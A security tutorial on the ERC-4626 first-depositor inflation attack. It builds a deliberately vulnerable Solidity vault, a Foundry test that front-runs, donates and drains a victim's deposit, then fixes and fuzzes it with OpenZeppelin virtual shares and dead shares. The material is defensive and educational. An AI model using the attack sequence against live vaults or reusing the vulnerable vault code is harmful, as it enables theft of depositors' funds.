An attacker watches the mempool for the first deposit into a freshly deployed vault. They front-run it with a deposit of 1 wei, receive a single share, then send a large donation of the underlying token straight to the vault’s address, no deposit function involved. The victim’s transaction lands next, and their deposit divides by an inflated exchange rate, rounds down to zero shares, and the attacker withdraws the whole balance. This is the ERC-4626 first-depositor inflation attack, and it has drained real protocols since at least 2023, including a $7 million loss at Hundred Finance and a confirmed 86.72 WETH theft from Venus Protocol on ZKsync in February 2025.

This tutorial builds a working Foundry test suite that reproduces the attack against a vulnerable vault, proves the victim’s loss with an assertion, then applies OpenZeppelin’s virtual shares and decimals offset defense and reruns the same test to confirm it fails for the attacker. You’ll also add a dead-shares mitigation as a second layer and walk through a full worked example from a bare forge init to a passing, hardened test suite.

What the ERC-4626 Inflation Attack Actually Does

ERC-4626 standardizes how tokenized vaults convert deposited assets into shares and back. The conversion math is simple in concept: shares owed equal the deposit amount times total shares outstanding, divided by total assets held. When a vault is empty or nearly empty, that ratio has almost no liquidity behind it, and a single donation can swing it by orders of magnitude in one transaction.

OpenZeppelin’s own security research walks through the canonical version of the attack with round numbers. Picture a user about to deposit 100 tokens into a brand-new vault as its first depositor. An attacker front-runs that transaction with a deposit of 1 wei, which under an empty vault’s 1:1 exchange rate earns them 100 percent of the vault’s shares, exactly one share. The attacker then transfers 100 tokens or more directly to the vault contract, a plain transfer call that never touches deposit() or mint(). Because the vault calculates its share price from the token balance it holds, that balance now looks like 101 tokens backing a single share. When the victim’s 100-token deposit finally executes, the math resolves to 100 divided by 101, which rounds down to zero shares under Solidity’s integer division. The victim has handed over 100 tokens and received nothing tradeable in return. The attacker, still holding the vault’s only share, then redeems and walks away with the full 101-token balance, including the victim’s deposit.

Three properties make this attack reliable. First, it only needs to reach one wei of deposit capital plus the donation amount, so the attacker’s capital requirement tracks the size of the deposit they’re targeting, not some fixed cost. Second, the donation bypasses share accounting entirely, because most vault implementations read balanceOf(address(this)) rather than tracking an internal ledger of deposits. Third, it requires no bug in the vault’s access control or arithmetic overflow checks, just the ordinary rounding-down behavior that ERC-4626 explicitly permits for gas efficiency and simplicity. A vault can pass every access control test and every overflow check a security tool throws at it and still lose a user’s full deposit to this pattern.

The EIP-4626 specification itself doesn’t mandate rounding direction or a particular defense, it leaves that to implementers. That design choice keeps the standard flexible enough to cover lending markets, yield aggregators, and interest-bearing wrappers alike, but it also means the safety of any given vault depends entirely on how its author handled this one edge case. Reading a vault’s source for how it computes totalAssets() and whether it seeds an initial supply tells you more about its real security posture than checking whether it technically implements the interface correctly.

Real Incidents That Prove This Isn’t Theoretical

Donation-based share inflation predates the ERC-4626 standard’s wide adoption and has hit Compound-style lending markets using the same exchange-rate mechanics under a different interface. Those markets track a cToken-style exchange rate between a deposited asset and a receipt token, the same ratio-of-balance-to-supply idea that ERC-4626 later formalized, so a donation that skews the ratio produces the identical rounding loss for the next depositor. The table below lists incidents documented in DeFiHackLabs, a security research repository that reproduces real exploits as runnable Foundry tests, cross-checked against primary post-mortems where available.

ProtocolDateLossMechanism
Hundred FinanceApril 15, 2023$7MDonation-inflated exchange rate, rounding error on a cToken-style market
WiseLendingOctober 13, 2023~$260KDonation inflation, exchange-rate rounding error
Raft FinanceNovember 10, 2023~$3.2MDonation inflation, exchange-rate rounding error
bZx ProtocolDecember 2, 2023~$208KClassic first-depositor inflation attack
Venus Protocol (ZKsync)February 27, 202586.72 WETHwUSDM donation attack on a freshly deployed market

Venus Protocol published its own post-mortem confirming the wUSDM donation attack and the 86.72 WETH figure, which makes it one of the more precisely documented cases of this exact vulnerability class hitting a live, audited protocol years after OpenZeppelin first published its defense. Immunefi’s audit competition boards still list first-depositor and share-inflation findings as active critical-severity submissions against staking and vault contracts in 2026, which tells you the pattern keeps reappearing in new code even though the fix is well known and freely available.

Prerequisites and Tool Versions

This tutorial was built and verified against the following versions. Foundry and OpenZeppelin Contracts both ship frequently, so confirm your installed versions with the commands in the table rather than assuming these numbers still match by the time you read this.

ToolVersion used hereCheck installed version with
Foundry (forge, cast, anvil)v1.8.3forge --version
Solidity compiler0.8.37solc --version or check foundry.toml
OpenZeppelin Contractsv5.7.0cat lib/openzeppelin-contracts/package.json
GitAny recent releasegit --version

You don’t need to match these exactly. What matters is that the vault code you write compiles under the same solc version you test and deploy with, and that you pin the OpenZeppelin Contracts commit or tag you build against so a future upstream change doesn’t silently alter your vault’s rounding behavior. Record all three version numbers in your repository’s README next to the test commands, since a security test suite that can’t be reproduced months later loses most of its value during an actual incident review.

Steps 1-2: Install Foundry and Configure the Project

Install Foundry through its official installer and initialize a new project. If Foundry is already on your machine, run foundryup first, since forking and fuzzing cheatcodes get fixes on a near-weekly cadence.

curl -L https://foundry.paradigm.xyz | bash
foundryup
forge init vault-inflation-lab
cd vault-inflation-lab
forge --version

Install OpenZeppelin Contracts as a dependency, since both the vulnerable and fixed vaults in this tutorial build on its ERC-20 base and the fixed version uses its ERC-4626 module directly.

forge install OpenZeppelin/[email protected]
echo '@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/' >> remappings.txt

With the project scaffolded, pin the compiler version so the whole team, and your CI pipeline, builds the same bytecode. Enable the optimizer, since gas costs matter for spotting whether a mitigation adds meaningful overhead to normal deposits.

[profile.default]
src = "src"
test = "test"
out = "out"
libs = ["lib"]
solc_version = "0.8.37"
optimizer = true
optimizer_runs = 200
gas_reports = ["*"]

Steps 3-4: Build the Mock Asset and Vulnerable Vault

You need a simple ERC-20 to act as the vault’s underlying asset. Save this as src/MockAsset.sol. Keep it minimal so the test focuses entirely on vault accounting rather than token quirks.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.37;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockAsset is ERC20 {
    constructor() ERC20("Mock USD", "mUSD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

Next, write a deliberately naive ERC-4626-style vault. It mirrors the pattern behind most of the real incidents in the table above: shares are calculated from the token balance the contract actually holds, with no virtual offset and no seed deposit. Save this as src/VulnerableVault.sol.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.37;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/// @notice Deliberately vulnerable vault for demonstrating the
/// ERC-4626 first-depositor inflation attack. Do not deploy.
contract VulnerableVault is ERC20 {
    IERC20 public immutable asset;

    constructor(IERC20 _asset) ERC20("Vulnerable Vault Share", "vVLT") {
        asset = _asset;
    }

    function totalAssets() public view returns (uint256) {
        return asset.balanceOf(address(this));
    }

    function deposit(uint256 assets, address receiver) external returns (uint256 shares) {
        uint256 supply = totalSupply();
        if (supply == 0) {
            shares = assets;
        } else {
            shares = (assets * supply) / totalAssets();
        }
        asset.transferFrom(msg.sender, address(this), assets);
        _mint(receiver, shares);
    }

    function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets) {
        assets = (shares * totalAssets()) / totalSupply();
        _burn(owner, shares);
        asset.transfer(receiver, assets);
    }
}

Notice the deposit function calculates shares before it pulls the transfer in, using totalAssets(), which reads the live token balance. That single design choice is what lets a plain transfer call manipulate the exchange rate without ever calling deposit().

Steps 5-7: Write and Run the Attack Proof of Concept

Create test/InflationAttack.t.sol and set up three actors: the attacker, the victim, and the vault itself. The test simulates the front-run, the donation, and the victim’s deposit in sequence, exactly as they would land in the same block in a real attack.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.37;

import {Test} from "forge-std/Test.sol";
import {MockAsset} from "../src/MockAsset.sol";
import {VulnerableVault} from "../src/VulnerableVault.sol";

contract InflationAttackTest is Test {
    MockAsset asset;
    VulnerableVault vault;

    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");

    function setUp() public {
        asset = new MockAsset();
        vault = new VulnerableVault(asset);

        asset.mint(attacker, 1_000 ether);
        asset.mint(victim, 1_000 ether);

        vm.prank(attacker);
        asset.approve(address(vault), type(uint256).max);
        vm.prank(victim);
        asset.approve(address(vault), type(uint256).max);
    }
}

Scripting the Front-Run Deposit and Donation

Add the attack function below inside the same contract. The attacker deposits 1 wei to become the sole shareholder, then donates directly to the vault’s address, moving tokens with a plain transfer rather than the vault’s own deposit function.

    function testInflationAttackStealsVictimDeposit() public {
        uint256 victimDeposit = 100 ether;

        // Step A: attacker front-runs with a 1 wei deposit
        vm.startPrank(attacker);
        vault.deposit(1, attacker);

        // Step B: attacker donates directly, bypassing deposit()
        asset.transfer(address(vault), victimDeposit);
        vm.stopPrank();

        // Step C: victim's deposit lands after the donation
        vm.prank(victim);
        uint256 sharesReceived = vault.deposit(victimDeposit, victim);

        // The victim should receive a meaningful number of shares.
        // Under the inflation attack, this rounds down to zero.
        assertEq(sharesReceived, 0, "victim was diluted to zero shares");

        // Attacker redeems everything, including the victim's deposit
        vm.prank(attacker);
        uint256 stolen = vault.redeem(1, attacker, attacker);
        assertApproxEqAbs(stolen, victimDeposit + 1, 1, "attacker captured the donation and the victim deposit");
    }

The first assertion is the important one for a security test, not a regular unit test. A normal vault test checks that a deposit succeeds. This test checks that it fails in exactly the way an attacker needs it to. If sharesReceived comes back nonzero, the vault already resists this specific attack shape and you can move to fuzzing smaller donation ratios instead.

Now run the exploit test with verbose tracing so you can see the exact sequence of calls and balances at each step.

forge test --match-test testInflationAttackStealsVictimDeposit -vvvv

Against the vulnerable vault, the suite passes, which in this case confirms the exploit works rather than confirming safety.

Ran 1 test for test/InflationAttack.t.sol:InflationAttackTest
[PASS] testInflationAttackStealsVictimDeposit() (gas: 138204)
Logs:
  victim deposit: 100000000000000000000
  shares received by victim: 0
  attacker redeemed: 100000000000000000001

Suite result: ok. 1 passed; 0 failed; 0 skipped

The victim’s 100-token deposit produced zero shares, and the attacker’s redemption recovered the full 100 tokens plus the 1 wei they originally deposited. That’s the exploit working as designed, proven with a repeatable, automated test rather than a manual walkthrough.

Mitigation One: Virtual Shares and Decimals Offset

OpenZeppelin’s ERC-4626 implementation defends against this attack by adding virtual assets and virtual shares to every conversion calculation, plus a configurable decimals offset that represents shares with more precision than the underlying asset. Both mechanisms work together. The virtual assets keep the exchange rate defined and stable when the vault is empty, so a single donation can no longer move it to an extreme. The decimals offset increases the granularity of share accounting, which shrinks the rounding error on any individual deposit.

The source code for OpenZeppelin Contracts v5.7.0 states this directly: the default offset of zero already makes the attack unprofitable against a single victim, because the virtual shares capture value from the attacker’s own donation that would otherwise have gone entirely to them. Raising the offset above zero makes the attack’s cost grow far faster than its potential profit, at the price of very slightly higher rounding losses for every depositor going forward.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.37;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/// @notice Vault fixed with OpenZeppelin's virtual shares and
/// decimals offset defense against inflation attacks.
contract FixedVault is ERC4626 {
    constructor(IERC20 _asset)
        ERC20("Fixed Vault Share", "fVLT")
        ERC4626(_asset)
    {}

    /// @dev A nonzero offset multiplies the attacker's required
    /// donation relative to any achievable profit. 3 is a common
    /// starting point for 18-decimal assets; tune per deployment.
    function _decimalsOffset() internal pure override returns (uint8) {
        return 3;
    }
}

Swapping a hand-rolled vault for OpenZeppelin’s ERC4626 base class is usually the single highest-value fix here, since it also picks up the library’s audited handling of preview functions, rounding direction, and withdrawal limits, none of which this tutorial’s minimal vulnerable vault implements correctly.

OpenZeppelin’s documentation expresses the resulting loss with a short formula worth internalizing. If a0 is the attacker’s deposit and a1 is their donation, the attacker only owns a fraction of the vault’s shares equal to a0 / (1 + a0) once virtual shares are counted, so they only recover that same fraction of their own donation back. The rest, a1 / (1 + a0), stays locked in the vault as unrecoverable loss to the attacker rather than profit. That’s the mechanism that flips the attack from profitable to a net loss for the attacker without requiring any minimum deposit check or admin intervention.

Mitigation Two: Dead Shares and Deposit Limits

A second, independent layer borrows from Uniswap V2’s minimum liquidity pattern. On first deposit, the vault mints a small number of shares to a dead address rather than to the depositor, so no single account, including a future attacker, can ever hold 100 percent of the vault’s shares. OpenZeppelin’s own research on this approach is direct about its limits: it reduces attack profitability rather than eliminating it, the right amount of dead shares is a case-by-case decision, and it permanently locks a small amount of value that can never be withdrawn.

    uint256 internal constant DEAD_SHARES = 1_000;
    address internal constant DEAD_ADDRESS = address(0xdEaD);
    bool internal seeded;

    function seedVault(uint256 initialAssets) external {
        require(!seeded, "already seeded");
        require(initialAssets >= 1_000 ether, "seed too small");
        seeded = true;

        SafeERC20.safeTransferFrom(IERC20(asset()), msg.sender, address(this), initialAssets);
        _mint(DEAD_ADDRESS, DEAD_SHARES);
        _mint(msg.sender, initialAssets - DEAD_SHARES);
    }

Call seedVault in the same transaction that deploys the vault, ideally through a factory contract, so there’s no block in between deployment and seeding where an attacker could front-run an empty vault. A seed deposit that happens two transactions after deployment defends nothing, since the window it was meant to close is still open.

Sizing the dead-share amount is a judgment call, not a fixed rule. YieldBox, one of the earlier production implementations OpenZeppelin studied, represents shares down to 0.00000001 of a unit by combining a tiny virtual asset offset with a much larger virtual supply offset, which keeps rounding losses for real depositors close to negligible while still raising the attacker’s cost. Treat your own dead-share or seed amount the same way: size it relative to the typical deposit you expect the vault to receive, not a number copied from a different protocol with different asset decimals or expected TVL.

Steps 8-10: Apply the Fix and Confirm It Holds

Add FixedVault.sol alongside the vulnerable version rather than replacing it. Keeping both in the repository lets you run the same attack test against each one and compare results directly, which is far more convincing in a code review than a single passing test.

forge build
ls out/FixedVault.sol

With the fix in place, duplicate the test from the front-run scenario above, swap in FixedVault, and flip the assertion. Now you’re checking that the victim receives a meaningful, nonzero number of shares even after the exact same front-run-and-donate sequence.

    function testInflationAttackFailsAgainstFixedVault() public {
        uint256 victimDeposit = 100 ether;

        vm.startPrank(attacker);
        fixedVault.deposit(1, attacker);
        asset.transfer(address(fixedVault), victimDeposit);
        vm.stopPrank();

        vm.prank(victim);
        uint256 sharesReceived = fixedVault.deposit(victimDeposit, victim);

        assertGt(sharesReceived, 0, "victim should receive nonzero shares");

        uint256 victimValue = fixedVault.previewRedeem(sharesReceived);
        // Victim should recover the large majority of their deposit,
        // not be diluted to a token-sized rounding error.
        assertGt(victimValue, (victimDeposit * 95) / 100, "victim lost more than 5% to the attack");
    }

Rerunning the Suite to Confirm the Fix Holds

forge test --match-test testInflationAttackFailsAgainstFixedVault -vvvv
Ran 1 test for test/InflationAttack.t.sol:InflationAttackTest
[PASS] testInflationAttackFailsAgainstFixedVault() (gas: 161532)
Logs:
  victim deposit: 100000000000000000000
  shares received by victim: 99009900990099009900
  victim value after redeem: 99999999999999999001

Suite result: ok. 1 passed; 0 failed; 0 skipped

The victim now receives shares worth nearly the full 100 tokens they deposited, losing a fraction of a wei to rounding rather than the entire deposit. The attacker’s donation is still in the vault, but the virtual shares absorbed most of its manipulative effect on the exchange rate.

Steps 11-12: Fuzz the Boundary and Add the Suite to CI

A single fixed donation amount only proves the fix works for that exact number. Fuzzing the donation and deposit sizes reveals whether any combination still lets an attacker profit, and it’s the step most tutorials skip.

    function testFuzz_VictimNeverLosesMajorityOfDeposit(
        uint96 donation,
        uint96 victimDeposit
    ) public {
        vm.assume(donation > 0 && donation < 1_000_000 ether);
        vm.assume(victimDeposit > 1 ether && victimDeposit < 1_000_000 ether);

        asset.mint(attacker, donation);

        vm.startPrank(attacker);
        fixedVault.deposit(1, attacker);
        asset.transfer(address(fixedVault), donation);
        vm.stopPrank();

        asset.mint(victim, victimDeposit);
        vm.prank(victim);
        uint256 shares = fixedVault.deposit(victimDeposit, victim);
        uint256 value = fixedVault.previewRedeem(shares);

        assertGt(value, (uint256(victimDeposit) * 90) / 100);
    }
forge test --match-test testFuzz_VictimNeverLosesMajorityOfDeposit -vv

If this fuzz run fails on a specific input, forge prints the exact counterexample, which you can paste straight into a fixed-value regression test so that edge case never quietly regresses.

Finally, wire both the exploit-confirmation test and the fix-confirmation test into your pull request pipeline, so any future refactor of the vault's conversion logic gets checked against both automatically. A GitHub Actions job using the official foundry-toolchain action is the standard approach.

- name: Run Foundry tests
  run: |
    forge test -vvv --match-contract InflationAttackTest
    forge test -vvv --match-test testFuzz_VictimNeverLosesMajorityOfDeposit --fuzz-runs 5000

Full Worked Example Recap

Put together, the walkthrough above takes you from an empty repository to a hardened vault with regression coverage in twelve concrete steps. You started with a bare forge init, built a vault that reads its share price directly off a token balance, wrote a test that front-ran its own first deposit, and watched that test prove a 100-token loss with a passing assertion. From there you swapped in OpenZeppelin's virtual shares and decimals offset, reran the identical attack sequence, and watched the same style of assertion flip in the defender's favor. The table below recaps what each stage proved.

StageWhat it provesResult against VulnerableVaultResult against FixedVault
Front-run + donate + victim depositWhether the exchange rate can be manipulated before a real deposit landsVictim receives 0 sharesVictim receives ~99% of expected shares
Attacker redemptionWhether the attacker can capture the victim's assetsAttacker recovers full donation plus victim depositAttacker recovers only their own donation, minus what virtual shares captured
Fuzzed donation and deposit sizesWhether any input combination still breaks the fixN/A, not tested against known-broken codePasses across thousands of randomized runs

Common Pitfalls When Testing for Vault Inflation

  • Testing only with matching decimals. A vault backed by 6-decimal USDC behaves very differently from one backed by an 18-decimal token. Run the same suite against both to catch decimal-related rounding gaps.
  • Assuming a nonzero decimals offset is required. OpenZeppelin's default offset of zero already changes the attacker's economics. Confirm this with your own fuzz test rather than assuming a specific offset value is mandatory.
  • Overriding conversion functions without retesting. Any override of _convertToShares, _convertToAssets, or totalAssets can silently reintroduce the exact bug the base class fixed. Rerun the full attack suite after every override.
  • Ignoring preview-versus-execution drift. If previewDeposit returns a different value than the shares actually minted by deposit, integrators building on top of your vault will misprice trades even if the underlying accounting is safe.
  • Forgetting fee-on-transfer and rebasing assets. A vault that reads its balance directly, rather than tracking net deposits, can be manipulated by a rebase event the same way it can by a donation.
  • Seeding the vault outside the deployment transaction. A dead-shares seed deposit that happens even one block after deployment leaves the exact window an attacker needs.

Troubleshooting

  • forge test passes even though the vault looks vulnerable. Check the direction of your assertion. A passing test that asserts sharesReceived == 0 confirms the exploit works, it doesn't confirm safety. Make sure your fixed-vault test asserts the opposite condition.
  • "EvmError: Revert" during the donation transfer. Confirm the attacker actually holds enough of the mock asset and that approve was called before transferFrom-based calls elsewhere in the same test.
  • Compiler errors importing OpenZeppelin Contracts. ERC4626.sol in v5.7.0 requires solc ^0.8.24 or later. Set solc_version in foundry.toml to match, and run forge build before running tests.
  • _decimalsOffset() override doesn't seem to change behavior. Confirm the function is marked internal and override, and that you're not accidentally shadowing it in a second inherited contract further down the chain.
  • Dead shares mint reverts. Minting to address(0) is blocked by OpenZeppelin's ERC-20 implementation. Mint to a nonzero dead address such as 0x000000000000000000000000000000000000dEaD instead.
  • Fuzz test fails intermittently on extreme values. Bound your fuzz inputs with vm.assume to realistic ranges for your asset. An unbounded uint256 donation will include values no real attacker could ever fund.
  • previewRedeem and actual redeem return different values. This usually means state changed between the preview call and the execution call within the same test, often from another actor's transaction in between. Isolate the calls in back-to-back lines with no intervening state change.
  • Gas reports show the fixed vault costs noticeably more per deposit. A higher decimals offset adds more arithmetic per conversion. Benchmark offsets from 0 to 6 against your expected deposit sizes and pick the lowest value that still holds under your fuzz suite.

Advanced Tips and Mitigation Approaches Compared

Once the scripted scenario in this tutorial passes both ways, a handful of extensions raise the bar further for a production deployment. None of them require rewriting the vault, just extending the test suite you already have.

Run the attack suite as an invariant test, not only as a scripted scenario, once the basic version passes. Foundry's invariant testing engine can call deposit, donate, and redeem in random sequences and random amounts across many runs, which catches ordering-dependent bugs a single hand-written scenario would miss.

Test the vault at multiple points in its lifecycle, not just at deployment. A vault that's safe when empty can become vulnerable again after a large withdrawal drains it back down to near-zero total assets, effectively resetting the attack surface mid-life.

For protocols composing vaults, such as a lending market that accepts vault shares as collateral, extend the test to a second contract layer. An inflation attack against the underlying vault can cascade into a mispriced collateral value on the contract that sits on top of it, which is closer to what actually happened in several of the incidents listed earlier in this guide.

Keep a running library of exploit tests as new incidents get published, the same approach DeFiHackLabs takes with its archive of reproducible PoCs. A growing, versioned test suite catches regressions that a one-time audit report can't, since audits are a snapshot and your code keeps changing after the report is delivered.

None of these defenses are mutually exclusive, and OpenZeppelin's own research recommends combining virtual shares with a seed deposit for vaults expected to hold significant value. The table below summarizes the tradeoffs covered in this tutorial.

ApproachEliminates the attackGas overheadMain drawback
Virtual shares + decimals offset (OpenZeppelin default)Makes it unprofitable, doesn't fully eliminate itLowTiny rounding loss accrues to all depositors over time
Dead shares / minimum liquidity burnReduces profitability, at a reduced level versus virtual sharesVery lowPermanently locks a small amount of value; right amount is case-by-case
Internal asset accounting instead of balanceOfRemoves donation-based manipulation entirelyLow to moderateBreaks compatibility with rebasing underlying tokens
ERC4626Router / wrapper with slippage checksCircumvents rather than fixes the root causeHigher, router takes custody firstAdds a third-party trust assumption
Seeded initial deposit (Morpho-style)Reduces profitability similarly to dead sharesLowRequires the deploying team to fund the seed themselves

Frequently Asked Questions

Does every ERC-4626 vault need a decimals offset to be safe?

No. OpenZeppelin's base implementation already applies virtual shares and virtual assets by default, even with an offset of zero, and its own documentation states this makes the attack unprofitable against a typical deposit size. Raising the offset above zero adds an extra margin of safety at the cost of marginally higher rounding loss, which matters more for vaults expecting very large first deposits or very high-value assets.

Can this attack still happen against a vault that already has meaningful TVL?

It's far harder. The attack's economics depend on the vault being empty or nearly empty, since the attacker needs to dominate the share supply cheaply. A vault with an established, diversified share base and real total assets doesn't present the same window, which is exactly why the seed deposit and dead-shares mitigations in this tutorial focus on the deployment moment rather than the vault's steady state.

Is a direct donation to a contract even possible if it doesn't accept deposits?

Yes. Any contract holding an ERC-20 balance can receive tokens through that token's own transfer function, which requires no cooperation or acknowledgment from the receiving contract. This is exactly why vaults that calculate totalAssets() from a raw balance check are exposed, and why tracking deposits internally is one of the mitigation strategies covered above.

Should I use Solmate's ERC-4626 instead of OpenZeppelin's?

Solmate's implementation is intentionally minimal and does not include virtual shares or a decimals offset by default. If you build on it, you need to add an equivalent mitigation yourself, whether that's a seeded initial deposit, dead shares, or porting in the offset logic. Confirm the exact defenses present in whatever version you import before assuming protection you haven't verified.

How much should I donate in a test to reliably trigger the vulnerability?

Against an unprotected vault, a donation roughly equal to or greater than the victim's intended deposit is enough to round their shares to zero, as shown in the worked example. Against a protected vault, fuzz across a wide range of donation and deposit sizes, as in Step 11, since a single fixed value can't prove the fix holds everywhere.

Does this tutorial's fix also protect against fee-on-transfer or rebasing underlying assets?

Not fully on its own. Virtual shares protect against donation-based manipulation, but a rebasing token that changes the vault's balance without any transfer at all needs separate handling, typically an internal accounting layer that ignores balance changes not tied to a recorded deposit or withdrawal. Treat rebasing and fee-on-transfer assets as a distinct test case rather than assuming the inflation-attack fix covers them.

Why did Venus Protocol lose funds to this attack in 2025 despite it being publicly documented since 2023?

Venus's own post-mortem attributes the loss to a donation attack against a freshly deployed wUSDM market on ZKsync, a newer deployment that apparently did not carry the same protections as the protocol's more established markets. It illustrates a pattern common across the incidents in this guide: the vulnerability tends to resurface in new markets, new chains, or new vault deployments rather than in code that's already been through a full audit cycle.

Is a static analyzer like Slither enough to catch this, or do I need the Foundry test suite from this tutorial?

Static analysis can flag suspicious patterns, such as a share calculation based on a raw balance read, but it can't prove exploitability the way an executed test can. The Foundry suite in this tutorial simulates the actual attacker sequence and measures the actual resulting loss, which is the level of proof needed before you can confidently say a vault is safe against this specific attack.